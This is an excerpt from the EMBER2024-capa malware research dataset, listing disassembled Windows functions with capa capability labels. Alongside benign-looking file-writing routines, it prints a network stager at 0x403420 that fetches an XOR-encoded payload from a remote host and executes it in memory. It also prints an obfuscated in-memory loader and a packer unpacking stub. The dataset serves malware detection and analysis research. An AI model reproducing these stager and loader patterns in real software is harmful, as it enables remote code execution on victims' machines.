joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401530
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x288
xor edi, edi
call fcn.0040bd3d
push 0x288
mov ebx, eax
push edi
push ebx
call fcn.00404630
push 0x421240
call fcn.00401020
push 0x421268
call fcn.00401020
push 0x421284
call fcn.00401020
push 0x421090
call fcn.00401020
push 0x421154
call fcn.00401020
push ebx
push 0x421160
call fcn.00401060
push 0x421164
call fcn.00401020
add esp, 0x30
lea esi, [ebx + 0x80]
push 0
call fcn.00405406
push eax
push pe_nt_image_headers32
push esi
call fcn.00406e2c
add esp, 0x10
test eax, eax
je 0x4015a1
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4015c0
sub ecx, edx
cmp ecx, 1
jbe 0x4015a1
push 0x421170
mov byte [ecx + esi - 1], al
call fcn.00401020
lea ecx, [ebx + 0x180]
mov edx, pe_nt_image_headers32
call fcn.00401090
push 0x42117c
call fcn.00401020
lea esi, [ebx + 0x280]
push esi
push 0x4211a4
call fcn.00401060
mov eax, dword [esi]
add esp, 0x10
test eax, eax
je 0x401617
cmp eax, 1
je 0x401617
mov dword [esi], edi
push 0x42111c
call fcn.00401020
mov edi, dword [edi]
add esp, 4
mov esi, edi
test esi, esi
je 0x401697
nop dword [eax]
mov ecx, ebx
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401654
test dl, dl
je 0x401650
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401654
add eax, 2
add ecx, 2
test dl, dl
jne 0x401634
xor eax, eax
jmp 0x401659
sbb eax, eax
or eax, 1
test eax, eax
je 0x401687
mov esi, dword [esi + 0x284]
test esi, esi
jne 0x401630
mov eax, dword [edi + 0x284]
mov esi, edi
test eax, eax
je 0x40167f
mov edi, eax
mov eax, dword [edi + 0x284]
test eax, eax
jne 0x401673
mov dword [edi + 0x284], ebx
jmp 0x401699
push ebx
call fcn.0040bbbe
mov eax, 0x4212ac
jmp 0x40172e
mov esi, ebx
xor eax, eax
push 0x42104c
push str.userinfo.dat
mov dword [eax], esi
call fcn.00405327
mov edi, eax
add esp, 8
test edi, edi
je 0x40171f
xor eax, eax
mov ecx, esi
test esi, esi
je 0x401703
nop dword [eax]
mov ecx, dword [ecx + 0x284]
inc eax
test ecx, ecx
jne 0x4016c0
push edi
push 1
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push 4
push eax
call fcn.004071ae
add esp, 0x10
nop
push edi
push 1
push 0x288
push esi
call fcn.004071ae
mov esi, dword [esi + 0x284]
add esp, 0x10
test esi, esi
jne 0x4016e0
push edi
call fcn.00405501
jmp 0x401729
push edi
push 1
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push 4
push eax
call fcn.004071ae
add esp, 0x10
push edi
call fcn.00405501
jmp 0x401729
push 0x421060
call fcn.00401020
mov eax, 0x4212cc
add esp, 4
push eax
call fcn.00401020
add esp, 4
pop edi
pop esi
pop ebx
nop dword [eax]
call fcn.0040bd38
cmp eax, 0xa
je 0x40174f
cmp eax, 0xffffffff
jne 0x401740
call fcn.0040bd38
mov esp, ebp
pop ebp
ret
Function at 0x401a70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x80
xor ebx, ebx
lea eax, [ebp - 0x84]
push ebx
push eax
mov esi, edx
call fcn.00404630
push 0x421240
call fcn.00401020
push 0x42133c
call fcn.00401020
push 0x4212fc
call fcn.00401020
push 0x421300
call fcn.00401020
lea eax, [ebp - 0x84]
push eax
push 0x421160
call fcn.00401060
push 0x421284
call fcn.00401020
mov edi, dword [ebx]
add esp, 0x28
test edi, edi
je 0x401b2b
nop dword [eax + eax]
lea ecx, [ebp - 0x84]
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401b18
test dl, dl
je 0x401b14
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401b18
add eax, 2
add ecx, 2
test dl, dl
jne 0x401af8
xor eax, eax
jmp 0x401b1d
sbb eax, eax
or eax, 1
test eax, eax
je 0x401b62
mov edi, dword [edi + 0x284]
test edi, edi
jne 0x401af0
mov eax, 0x421328
push eax
call fcn.00401020
add esp, 4
pop edi
pop esi
pop ebx
nop dword [eax]
call fcn.0040bd38
cmp eax, 0xa
je 0x401b4f
cmp eax, 0xffffffff
jne 0x401b40
call fcn.0040bd38
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004037e8
mov esp, ebp
pop ebp
ret
cmp edi, esi
jne 0x401b6d
mov eax, 0x421358
jmp 0x401b30
push 0x421090
call fcn.00401020
push edi
push 0x4210c8
call fcn.00401020
lea eax, [edi + 0x80]
push eax
push 0x4210d8
call fcn.00401020
lea eax, [edi + 0x180]
push eax
push 0x4210e8
call fcn.00401020
mov eax, dword [edi + 0x280]
add esp, 0x1c
sub eax, 0
je 0x401bbe
sub eax, 1
jne 0x401bd0
push 0x421114
jmp 0x401bc3
push 0x4210f8
push 0x421104
call fcn.00401020
add esp, 8
push 0x42111c
call fcn.00401020
mov esi, dword [ebx]
add esp, 4
test esi, esi
je 0x401c23
cmp esi, edi
jne 0x401bef
mov esi, dword [edi + 0x284]
jmp 0x401c1a
mov eax, dword [esi + 0x284]
lea ecx, [esi + 0x284]
test eax, eax
je 0x401c23
nop
cmp eax, edi
je 0x401c12
lea ecx, [eax + 0x284]
mov eax, dword [ecx]
test eax, eax
jne 0x401c00
jmp 0x401c23
mov eax, dword [edi + 0x284]
mov dword [ecx], eax
push edi
call fcn.0040bbbe
add esp, 4
push 0x42104c
push str.userinfo.dat
mov dword [ebx], esi
call fcn.00405327
mov edi, eax
add esp, 8
test edi, edi
je 0x401cd0
xor eax, eax
mov ecx, esi
test esi, esi
je 0x401ca3
nop dword [eax]
mov ecx, dword [ecx + 0x284]
inc eax
test ecx, ecx
jne 0x401c50
push edi
push 1
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push 4
push eax
call fcn.004071ae
add esp, 0x10
push edi
push 1
push 0x288
push esi
call fcn.004071ae
mov esi, dword [esi + 0x284]
add esp, 0x10
test esi, esi
jne 0x401c75
push edi
call fcn.00405501
add esp, 4
mov eax, 0x42136c
jmp 0x401b30
push edi
push 1
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push 4
push eax
call fcn.004071ae
add esp, 0x10
push edi
call fcn.00405501
add esp, 4
mov eax, 0x42136c
jmp 0x401b30
push 0x421060
call fcn.00401020
add esp, 4
mov eax, 0x42136c
jmp 0x401b30
Function at 0x401cf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x590
xor esi, esi
call fcn.0040bd3d
push 0x590
mov ebx, eax
push esi
push ebx
call fcn.00404630
push 0x421240
call fcn.00401020
push 0x4213e0
call fcn.00401020
push 0x421284
call fcn.00401020
add esp, 0x1c
mov ecx, ebx
call fcn.00401380
mov edi, dword [esi]
mov esi, edi
test esi, esi
je 0x401da8
mov eax, ebx
mov ecx, esi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401d65
test dl, dl
je 0x401d61
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401d65
add ecx, 2
add eax, 2
test dl, dl
jne 0x401d45
xor eax, eax
jmp 0x401d6a
sbb eax, eax
or eax, 1
test eax, eax
je 0x401d98
mov esi, dword [esi + 0x58c]
test esi, esi
jne 0x401d41
mov eax, dword [edi + 0x58c]
mov esi, edi
test eax, eax
je 0x401d90
mov edi, eax
mov eax, dword [edi + 0x58c]
test eax, eax
jne 0x401d84
mov dword [edi + 0x58c], ebx
jmp 0x401daa
push ebx
call fcn.0040bbbe
mov eax, 0x4213fc
jmp 0x401e3e
mov esi, ebx
xor eax, eax
push 0x42104c
push str.bookinfo.dat
mov dword [eax], esi
call fcn.00405327
mov edi, eax
add esp, 8
test edi, edi
je 0x401e2f
xor eax, eax
mov ecx, esi
test esi, esi
je 0x401e13
nop
mov ecx, dword [ecx + 0x58c]
inc eax
test ecx, ecx
jne 0x401dd0
push edi
push 1
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push 4
push eax
call fcn.004071ae
add esp, 0x10
nop
push edi
push 1
push 0x590
push esi
call fcn.004071ae
mov esi, dword [esi + 0x58c]
add esp, 0x10
test esi, esi
jne 0x401df0
push edi
call fcn.00405501
jmp 0x401e39
push edi
push 1
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push 4
push eax
call fcn.004071ae
add esp, 0x10
push edi
call fcn.00405501
jmp 0x401e39
push 0x421060
call fcn.00401020
mov eax, 0x421420
add esp, 4
push eax
call fcn.00401020
add esp, 4
pop edi
pop esi
pop ebx
nop dword [eax]
call fcn.0040bd38
cmp eax, 0xa
je 0x401e5f
cmp eax, 0xffffffff
jne 0x401e50
call fcn.0040bd38
mov esp, ebp
pop ebp
ret
Function at 0x401e70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0x80
xor ebx, ebx
lea eax, [ebp - 0x84]
push ebx
push eax
call fcn.00404630
push 0x421240
call fcn.00401020
push 0x42148c
call fcn.00401020
push 0x4212fc
call fcn.00401020
push 0x421450
call fcn.00401020
lea eax, [ebp - 0x84]
push eax
push 0x421160
call fcn.00401060
push 0x421284
call fcn.00401020
mov edi, dword [ebx]
add esp, 0x28
test edi, edi
je 0x401f23
lea ecx, [ebp - 0x84]
mov eax, edi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401f10
test dl, dl
je 0x401f0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401f10
add eax, 2
add ecx, 2
test dl, dl
jne 0x401ef0
xor eax, eax
jmp 0x401f15
sbb eax, eax
or eax, 1
test eax, eax
je 0x401f55
mov edi, dword [edi + 0x58c]
test edi, edi
jne 0x401ee5
mov eax, 0x421478
push eax
call fcn.00401020
add esp, 4
pop edi
pop ebx
call fcn.0040bd38
cmp eax, 0xa
je 0x401f42
cmp eax, 0xffffffff
jne 0x401f33
call fcn.0040bd38
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004037e8
mov esp, ebp
pop ebp
ret
push esi
mov ecx, edi
call fcn.00401260
mov esi, dword [ebx]
test esi, esi
je 0x401fa3
cmp esi, edi
jne 0x401f6f
mov esi, dword [edi + 0x58c]
jmp 0x401f9a
mov eax, dword [esi + 0x58c]
lea ecx, [esi + 0x58c]
test eax, eax
je 0x401fa3
nop
cmp eax, edi
je 0x401f92
lea ecx, [eax + 0x58c]
mov eax, dword [ecx]
test eax, eax
jne 0x401f80
jmp 0x401fa3
mov eax, dword [edi + 0x58c]
mov dword [ecx], eax
push edi
call fcn.0040bbbe
add esp, 4
push 0x42104c
push str.bookinfo.dat
mov dword [ebx], esi
call fcn.00405327
mov edi, eax
add esp, 8
test edi, edi
je 0x402052
xor eax, eax
mov ecx, esi
test esi, esi
je 0x402024
nop dword [eax]
mov ecx, dword [ecx + 0x58c]
inc eax
test ecx, ecx
jne 0x401fd0
push edi
push 1
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push 4
push eax
call fcn.004071ae
add esp, 0x10
push edi
push 1
push 0x590
push esi
call fcn.004071ae
mov esi, dword [esi + 0x58c]
add esp, 0x10
test esi, esi
jne 0x401ff5
push edi
call fcn.00405501
add esp, 4
mov eax, 0x4214a8
pop esi
jmp 0x401f28
push edi
push 1
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push 4
push eax
call fcn.004071ae
add esp, 0x10
push edi
call fcn.00405501
add esp, 4
mov eax, 0x4214a8
pop esi
jmp 0x401f28
push 0x421060
call fcn.00401020
add esp, 4
mov eax, 0x4214a8
pop esi
jmp 0x401f28
Function at 0x402070
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov esi, edx
mov edi, dword [ebx]
test edi, edi
je 0x4020be
mov ecx, esi
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4020a5
test dl, dl
je 0x4020a1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4020a5
add eax, 2
add ecx, 2
test dl, dl
jne 0x402085
xor eax, eax
jmp 0x4020aa
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ba
mov edi, dword [edi + 0x584]
test edi, edi
jne 0x402081
jmp 0x4020be
test edi, edi
jne 0x402118
push 0x588
call fcn.0040bd3d
push 0x588
mov edi, eax
push 0
push edi
call fcn.00404630
mov ecx, edi
add esp, 0x10
sub ecx, esi
nop
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x4020e0
mov edx, dword [ebx]
test edx, edx
je 0x402114
mov eax, dword [edx + 0x584]
mov ecx, edx
test eax, eax
je 0x40210c
nop
mov ecx, eax
mov eax, dword [ecx + 0x584]
test eax, eax
jne 0x402100
mov dword [ecx + 0x584], edi
jmp 0x402116
mov edx, edi
mov dword [ebx], edx
cmp dword [edi + 0x580], 0xa
jge 0x402149
xor esi, esi
lea edx, [edi + 0x80]
nop dword [eax]
mov ecx, edx
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402135
sub ecx, ebx
je 0x402152
inc esi
sub edx, 0xffffff80
cmp esi, 0xa
jl 0x402130
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x402155
inc dword [edi + 0x580]
xor esi, esi
push 0x42104c
push str.recordinfo.dat
mov esi, dword [esi]
call fcn.00405327
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x402203
xor eax, eax
mov ecx, esi
test esi, esi
je 0x4021dd
nop dword [eax]
mov ecx, dword [ecx + 0x584]
inc eax
test ecx, ecx
jne 0x402190
push ebx
push 1
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push 4
push eax
call fcn.004071ae
add esp, 0x10
nop
push ebx
push 1
push 0x588
push esi
call fcn.004071ae
mov esi, dword [esi + 0x584]
add esp, 0x10
test esi, esi
jne 0x4021b0
push ebx
call fcn.00405501
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push 1
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push 4
push eax
call fcn.004071ae
add esp, 0x10
push ebx
call fcn.00405501
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x421060
call fcn.00401020
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402220
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor eax, eax
push esi
push edi
mov esi, edx
mov edi, dword [eax]
test edi, edi
je 0x402268
mov eax, esi
mov ecx, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402255
test dl, dl
je 0x402251
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402255
add ecx, 2
add eax, 2
test dl, dl
jne 0x402235
xor eax, eax
jmp 0x40225a
sbb eax, eax
or eax, 1
test eax, eax
je 0x402271
mov edi, dword [edi + 0x584]
test edi, edi
jne 0x402231
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
xor ebx, ebx
lea esi, [edi + 0x80]
nop dword [eax]
mov ecx, dword [ebp + 8]
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4022a5
test dl, dl
je 0x4022a1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4022a5
add eax, 2
add ecx, 2
test dl, dl
jne 0x402285
xor eax, eax
jmp 0x4022aa
sbb eax, eax
or eax, 1
test eax, eax
je 0x4022c0
inc ebx
sub esi, 0xffffff80
cmp ebx, 0xa
jl 0x402280
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80
push 0
push esi
call fcn.00404630
add esp, 0xc
add dword [edi + 0x580], 0xffffffff
jne 0x402331
xor ebx, ebx
mov esi, dword [ebx]
test esi, esi
je 0x40232d
cmp esi, edi
jne 0x4022f8
mov esi, dword [edi + 0x584]
push edi
call fcn.0040bbbe
add esp, 4
mov dword [ebx], esi
jmp 0x402333
mov eax, dword [esi + 0x584]
lea ecx, [esi + 0x584]
test eax, eax
je 0x40232d
cmp eax, edi
je 0x40231c
lea ecx, [eax + 0x584]
mov eax, dword [ecx]
test eax, eax
jne 0x402308
mov dword [ebx], esi
jmp 0x402333
mov eax, dword [edi + 0x584]
push edi
mov dword [ecx], eax
call fcn.0040bbbe
add esp, 4
mov dword [ebx], esi
jmp 0x402333
xor ebx, ebx
mov esi, dword [ebx]
push 0x42104c
push str.recordinfo.dat
call fcn.00405327
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4023c7
xor ecx, ecx
mov eax, esi
test esi, esi
je 0x4023a1
mov eax, dword [eax + 0x584]
inc ecx
test eax, eax
jne 0x402355
push ebx
push 1
lea eax, [ebp - 4]
mov dword [ebp - 4], ecx
push 4
push eax
call fcn.004071ae
add esp, 0x10
push ebx
push 1
push 0x588
push esi
call fcn.004071ae
mov esi, dword [esi + 0x584]
add esp, 0x10
test esi, esi
jne 0x402374
push ebx
call fcn.00405501
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push 1
lea eax, [ebp - 4]
mov dword [ebp - 4], ecx
push 4
push eax
call fcn.004071ae
add esp, 0x10
push ebx
call fcn.00405501
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x421060
call fcn.00401020
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403420
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Create tcp socket
Create udp socket
Encode data using xor
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x1dc], ecx
xor eax, eax
je 0x403443
adc dword [edx], esp
xor esp, dword [ecx + sym.imp.USER32.dll_EnumChildWindows]
mov eax, dword [sym.imp.USER32.dll_EnumChildWindows]
mov dword [ebp - 0x1e8], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x1e0], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0x1c8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push dword [ebp - 0x1dc]
mov esi, eax
mov eax, 2
mov word [ebp - 0x34], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x20fb
mov dword [ebp - 0x30], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x32], ax
mov dword [ebp - 0x1d0], 0
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x1d0], eax
push 0x10
lea eax, [ebp - 0x34]
push eax
push esi
call dword [ebp - 0x1d0]
mov dword [ebp - 0x1cc], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
nop
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x1cc], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x74726956
push eax
push dword [ebp - 0x1cc]
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
push 0x29d1
push 0
call eax
mov edi, eax
mov dword [ebp - 0x1d4], 0
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x1d4], eax
push 0
push 0x29d1
push edi
push esi
call dword [ebp - 0x1d4]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
movaps xmm2, xmmword [0x421aa0]
lea eax, [edi + 0x20]
mov edx, 0xa7
mov ecx, 0x29c0
lea eax, [eax + 0x40]
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x60]
xorps xmm0, xmm2
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
xorps xmm1, xmm0
movups xmmword [eax - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x40]
xorps xmm1, xmm0
movups xmmword [eax - 0x40], xmm1
movups xmm0, xmmword [eax - 0x30]
xorps xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
sub edx, 1
jne 0x403573
nop dword [eax]
xor byte [ecx + edi], 0x88
inc ecx
cmp ecx, 0x29d1
jb 0x4035b0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x74726956
push eax
push dword [ebp - 0x1cc]
mov dword [ebp - 0x20], 0x506c6175
mov dword [ebp - 0x1c], 0x65746f72
mov word [ebp - 0x18], 0x7463
mov byte [ebp - 0x16], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x1ec]
push ecx
push 0x40
push 0x29d1
push edi
call eax
mov dword [ebp - 0x1d8], 0
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1d8], eax
push 0
push edi
push 0
call dword [ebp - 0x1d8]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004037e8
mov esp, ebp
pop ebp
ret
Function at 0x40400c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40404b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40404b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40404b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40404b
cmp dword [ecx + 0x74], 0xe
jbe 0x40404b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x411595
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041140b

Function at 0x419f00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x419f2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x419f2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x407701
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x407710
pop dword [ebp - 0x28]
mov eax, 0x45dfc1c5
sub eax, 0x459f4ab5
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xaf673c2d
sub dword [ebp - 0x38], 0x6114f6e2
mov dword [ebp - 0x34], 0x9f6da5ed
add dword [ebp - 0x34], 0x92c5a658
mov dword [ebp - 0x30], 0x5bd5cbb1
add dword [ebp - 0x30], 0xf076787d
mov dword [ebp - 0x2c], 0xeabff090
sub dword [ebp - 0x2c], 0xeabff090
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x7300f7cd
add dword [ebp - 0x38], 0x1717189
mov dword [ebp - 0x34], 0xf5db21f2
sub dword [ebp - 0x34], 0xb46ec07d
mov dword [ebp - 0x30], 0xa06e05a5
sub dword [ebp - 0x30], 0x3cfe9939
mov dword [ebp - 0x2c], 0x7a12f1cb
sub dword [ebp - 0x2c], 0x7a12f1cb
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x8bb48241
sub eax, 0x8b740231
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3685c
push 0
call eax
mov ecx, 0x7e6a401d
sub ecx, 0x7e69faab
xor edi, edi
add edi, eax
mov ebx, 0x40ec00
add ebx, dword [ebp - 0x28]
mov edx, 0x79c20acc
mov dword [ebp - 0x20], 0x8d9dbd88
mov esi, dword [ebx]
xor dword [ebp - 0xc], eax
add esi, edx
add dword [ebp - 0x10], eax
mov dword [edi], esi
mov dword [ebp - 4], 0xb5f73548
add edi, 4
add ebx, 0x776a9e38
add ebx, 0x889561cc
loop 0x407823
add eax, 0x4588aea0
sub eax, 0x4587a605
xor ebx, ebx
add ebx, eax
add eax, 0x2e232000
add eax, 0xd1dce005
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10380cf0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x10380eaa
pushal
mov esi, section..data
lea edi, [esi - 0x1f7000]
push edi
or ebp, 0xffffffff
jmp 0x10380d1a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10380d21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10380d10
mov eax, 1
add ebx, ebx
jne 0x10380d33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10380d44
jne 0x10380d63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10380d63
dec eax
add ebx, ebx
jne 0x10380d50
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x10380d28
add ebx, ebx
jne 0x10380d5f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x10380db5
xor ecx, ecx
sub eax, 3
jb 0x10380d7b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x10380dea
sar eax, 1
mov ebp, eax
jmp 0x10380d86
add ebx, ebx
jne 0x10380d86
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10380d54
inc ecx
add ebx, ebx
jne 0x10380d94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10380d54
add ebx, ebx
jne 0x10380da1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10380d96
jne 0x10380db2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10380d96
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10380dd4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10380dc6
jmp 0x10380d16
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10380dd4
add edi, ecx
jmp 0x10380d16
pop esi
lea edi, [esi + 0x372000]
mov eax, dword [edi]
or eax, eax
je 0x10380e3c
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x384d80]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x384e98]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10380df1
mov ecx, edi
jns 0x10380e20
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x384e9c]
or eax, eax
je 0x10380e36
mov dword [ebx], eax
add ebx, 4
jmp 0x10380e0e
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10380e6d
cmp al, 0xef
ja 0x10380e60
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x10380e42
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10380e4f
mov ebp, dword [esi + 0x384ea0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x10380ea1
sub esp, 0xffffff80
jmp 0x10129b8c